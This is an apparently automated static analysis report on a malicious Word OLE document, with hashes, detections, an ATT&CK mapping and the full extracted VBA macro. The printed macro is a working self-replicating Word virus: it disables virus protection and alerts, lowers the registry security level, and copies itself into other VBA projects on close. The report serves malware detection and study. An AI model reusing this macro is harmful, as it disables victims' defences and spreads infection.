Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b465c86654348712…

MALICIOUS

Office (OLE)

35.0 KB Created: 1997-04-26 01:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e5919bf45e0925f0166fb263704b4015 SHA-1: fdc8bd9cfedc74b9c1cf5ecdcbfc05afea55f3ec SHA-256: b465c86654348712471ef398d852fb117ad2ef78edaa053a4972e3df5bcb5535
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an OLE document containing VBA macros. The macros attempt to disable virus protection and modify Word's security settings by writing to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security. This behavior suggests the macro is preparing the system for a subsequent stage of infection or execution of other malicious code.

Heuristics 2

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 905 bytes
SHA-256: 896a1510c6df164e5ad769c09c992b803bf714c2ee89bd642eeee28386f37a02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - 17th
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
For Each α In VBE.VBProjects
If α.Protection <> 1 And α.Description <> "17th" Then
α.Description = "17th"
With α.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 17)
End With: End If: Next
End Sub